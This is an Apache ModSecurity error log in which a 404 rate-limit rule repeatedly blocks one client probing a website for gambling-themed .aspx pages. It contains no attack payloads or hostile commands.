[Sat May 09 22:24:10.494708 2026] [:error] [pid 55191:tid 55280] [client 88.88.156.124:44306] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "af9DivMcqx1kfQsw7c4WlwAAAIM"]
[Sat May 09 22:24:13.066943 2026] [:error] [pid 55186:tid 55260] [client 88.88.156.124:44308] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "af9DjZPIspqZdXg7QQu4rgAAAEs"]
[Sat May 09 22:24:15.497525 2026] [:error] [pid 55353:tid 55373] [client 88.88.156.124:44318] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "af9DjyDuyNO3XosoIYRevQAAARI"]
[Sat May 09 22:24:18.067667 2026] [:error] [pid 55353:tid 55364] [client 88.88.156.124:47236] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "af9DkiDuyNO3XosoIYRexQAAAQk"]
[Sat May 09 22:24:21.525404 2026] [:error] [pid 55353:tid 55366] [client 88.88.156.124:47244] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "af9DlSDuyNO3XosoIYRe1QAAAQs"]
[Sat May 09 22:24:23.978402 2026] [:error] [pid 55353:tid 55367] [client 88.88.156.124:47246] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "af9DlyDuyNO3XosoIYRe4AAAAQw"]
[Sat May 09 22:24:26.553445 2026] [:error] [pid 55353:tid 55361] [client 88.88.156.124:47254] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "af9DmiDuyNO3XosoIYRe6QAAAQY"]
[Sat May 09 22:24:29.132318 2026] [:error] [pid 55353:tid 55370] [client 88.88.156.124:35694] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "af9DnSDuyNO3XosoIYRe9wAAAQ8"]
[Sat May 09 22:24:31.551817 2026] [:error] [pid 55353:tid 55362] [client 88.88.156.124:35700] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "af9DnyDuyNO3XosoIYRfAQAAAQc"]
[Sat May 09 22:24:34.129893 2026] [:error] [pid 55186:tid 55255] [client 88.88.156.124:35702] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "af9DopPIspqZdXg7QQu4xgAAAEY"]
[Sat May 09 22:24:36.709325 2026] [:error] [pid 55353:tid 55375] [client 88.88.156.124:35718] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "af9DpCDuyNO3XosoIYRfDAAAARQ"]
[Sat May 09 22:24:39.281042 2026] [:error] [pid 55182:tid 55228] [client 88.88.156.124:48454] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "af9DpzaxmP-S8ASrqQni8wAAANA"]
[Sat May 09 22:25:00.145856 2026] [:error] [pid 55191:tid 55285] [client 88.88.156.124:48462] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "af9DvPMcqx1kfQsw7c4W6AAAAIg"]
[Sat May 09 22:25:02.603403 2026] [:error] [pid 55182:tid 55222] [client 88.88.156.124:50526] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "af9DvjaxmP-S8ASrqQnjCAAAAMo"]
[Sat May 09 22:25:05.037572 2026] [:error] [pid 55191:tid 55293] [client 88.88.156.124:50540] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "af9DwfMcqx1kfQsw7c4XOQAAAJA"]
[Sat May 09 22:25:07.617897 2026] [:error] [pid 55353:tid 55378] [client 88.88.156.124:38446] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "af9DwyDuyNO3XosoIYRfKwAAARc"]
[Sat May 09 22:25:10.182964 2026] [:error] [pid 55182:tid 55235] [client 88.88.156.124:38448] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "af9DxjaxmP-S8ASrqQnjGwAAANc"]
[Sat May 09 22:25:12.606798 2026] [:error] [pid 55353:tid 55370] [client 88.88.156.124:38456] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "af9DyCDuyNO3XosoIYRfNQAAAQ8"]
[Sat May 09 22:25:15.177159 2026] [:error] [pid 55353:tid 55378] [client 88.88.156.124:38462] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "af9DyyDuyNO3XosoIYRfNwAAARc"]
[Sat May 09 22:25:17.608473 2026] [:error] [pid 55186:tid 55263] [client 88.88.156.124:59426] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "af9DzZPIspqZdXg7QQu4-gAAAE4"]
[Sat May 09 22:25:20.190723 2026] [:error] [pid 55186:tid 55268] [client 88.88.156.124:59438] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "af9D0JPIspqZdXg7QQu4_gAAAFM"]
[Sat May 09 22:25:22.619215 2026] [:error] [pid 55186:tid 55269] [client 88.88.156.124:59448] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "af9D0pPIspqZdXg7QQu5AQAAAFQ"]
[Sat May 09 22:25:25.189933 2026] [:error] [pid 55353:tid 55364] [client 88.88.156.124:59458] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "af9D1SDuyNO3XosoIYRfRgAAAQk"]
[Sat May 09 22:25:27.626619 2026] [:error] [pid 55353:tid 55365] [client 88.88.156.124:48900] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "af9D1yDuyNO3XosoIYRfSQAAAQo"]
[Sat May 09 22:25:30.052507 2026] [:error] [pid 55353:tid 55363] [client 88.88.156.124:48910] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "af9D2iDuyNO3XosoIYRfUwAAAQg"]
[Sat May 09 22:25:32.625377 2026] [:error] [pid 55353:tid 55368] [client 88.88.156.124:48926] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af9D3CDuyNO3XosoIYRfWQAAAQ0"]
[Sat May 09 22:25:35.056433 2026] [:error] [pid 55353:tid 55370] [client 88.88.156.124:48932] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af9D3yDuyNO3XosoIYRfXgAAAQ8"]
[Sat May 09 22:25:37.615319 2026] [:error] [pid 55186:tid 55259] [client 88.88.156.124:51584] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "af9D4ZPIspqZdXg7QQu5GgAAAEo"]
[Sat May 09 22:25:40.049482 2026] [:error] [pid 55353:tid 55355] [client 88.88.156.124:51596] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "af9D5CDuyNO3XosoIYRfYAAAAQA"]
[Sat May 09 22:25:42.623892 2026] [:error] [pid 55182:tid 55229] [client 88.88.156.124:51604] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "af9D5jaxmP-S8ASrqQnjPQAAANE"]
[Sat May 09 22:25:45.200687 2026] [:error] [pid 55182:tid 55234] [client 88.88.156.124:51620] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "af9D6TaxmP-S8ASrqQnjPwAAANY"]
[Sat May 09 22:25:47.625029 2026] [:error] [pid 55191:tid 55297] [client 88.88.156.124:36226] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "af9D6_Mcqx1kfQsw7c4XYwAAAJQ"]
[Sat May 09 22:25:50.067745 2026] [:error] [pid 55186:tid 55273] [client 88.88.156.124:36238] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "af9D7pPIspqZdXg7QQu5JwAAAFg"]
[Sat May 09 22:25:52.514043 2026] [:error] [pid 55191:tid 55289] [client 88.88.156.124:36246] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "af9D8PMcqx1kfQsw7c4XagAAAIw"]
[Sat May 09 22:25:55.081351 2026] [:error] [pid 55191:tid 55292] [client 88.88.156.124:36258] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "af9D8_Mcqx1kfQsw7c4XcgAAAI8"]
[Sat May 09 22:25:57.515666 2026] [:error] [pid 55186:tid 55257] [client 88.88.156.124:34134] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "af9D9ZPIspqZdXg7QQu5MQAAAEg"]
[Sat May 09 22:26:18.257499 2026] [:error] [pid 55191:tid 55295] [client 88.88.156.124:34138] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "af9ECvMcqx1kfQsw7c4XowAAAJI"]
[Sat May 09 22:26:20.722701 2026] [:error] [pid 55353:tid 55374] [client 88.88.156.124:38540] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "af9EDCDuyNO3XosoIYRfgQAAARM"]
[Sat May 09 22:26:23.306919 2026] [:error] [pid 55353:tid 55363] [client 88.88.156.124:38556] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "af9EDyDuyNO3XosoIYRfiwAAAQg"]
[Sat May 09 22:26:25.872086 2026] [:error] [pid 55353:tid 55374] [client 88.88.156.124:38570] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "af9EESDuyNO3XosoIYRfkgAAARM"]
[Sat May 09 22:26:28.312490 2026] [:error] [pid 55191:tid 55291] [client 88.88.156.124:36574] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "af9EFPMcqx1kfQsw7c4XrwAAAI4"]
[Sat May 09 22:26:30.872102 2026] [:error] [pid 55353:tid 55371] [client 88.88.156.124:36584] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "af9EFiDuyNO3XosoIYRfngAAARA"]
[Sat May 09 22:26:33.464160 2026] [:error] [pid 55353:tid 55357] [client 88.88.156.124:36588] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "af9EGSDuyNO3XosoIYRfrAAAAQI"]
[Sat May 09 22:26:36.040293 2026] [:error] [pid 55186:tid 55254] [client 88.88.156.124:36598] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "af9EHJPIspqZdXg7QQu5SgAAAEU"]
[Sat May 09 22:26:38.470631 2026] [:error] [pid 55186:tid 55265] [client 88.88.156.124:42908] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "af9EHpPIspqZdXg7QQu5UAAAAFA"]
[Sat May 09 22:26:41.038849 2026] [:error] [pid 55353:tid 55375] [client 88.88.156.124:42918] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "af9EISDuyNO3XosoIYRfvgAAARQ"]
[Sat May 09 22:26:43.478499 2026] [:error] [pid 55191:tid 55283] [client 88.88.156.124:42932] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "af9EI_Mcqx1kfQsw7c4XwQAAAIY"]
[Sat May 09 22:26:46.041479 2026] [:error] [pid 55191:tid 55287] [client 88.88.156.124:42934] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "af9EJvMcqx1kfQsw7c4XyAAAAIo"]
[Sat May 09 22:26:48.471192 2026] [:error] [pid 55353:tid 55379] [client 88.88.156.124:44568] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "af9EKCDuyNO3XosoIYRfywAAARg"]
[Sat May 09 22:26:51.040556 2026] [:error] [pid 55353:tid 55359] [client 88.88.156.124:44582] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "af9EKyDuyNO3XosoIYRf0gAAAQQ"]
[Sat May 09 22:26:53.633854 2026] [:error] [pid 55353:tid 55357] [client 88.88.156.124:44588] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "af9ELSDuyNO3XosoIYRf2AAAAQI"]
[Sat May 09 22:26:56.198415 2026] [:error] [pid 55186:tid 55268] [client 88.88.156.124:44594] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "af9EMJPIspqZdXg7QQu5VwAAAFM"]
[Sat May 09 22:26:58.759349 2026] [:error] [pid 55186:tid 55271] [client 88.88.156.124:46562] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "af9EMpPIspqZdXg7QQu5WwAAAFY"]
[Sat May 09 22:27:01.179700 2026] [:error] [pid 55191:tid 55288] [client 88.88.156.124:46570] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "af9ENfMcqx1kfQsw7c4X0wAAAIs"]
[Sat May 09 22:27:03.612063 2026] [:error] [pid 55353:tid 55359] [client 88.88.156.124:46582] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "af9ENyDuyNO3XosoIYRgBAAAAQQ"]
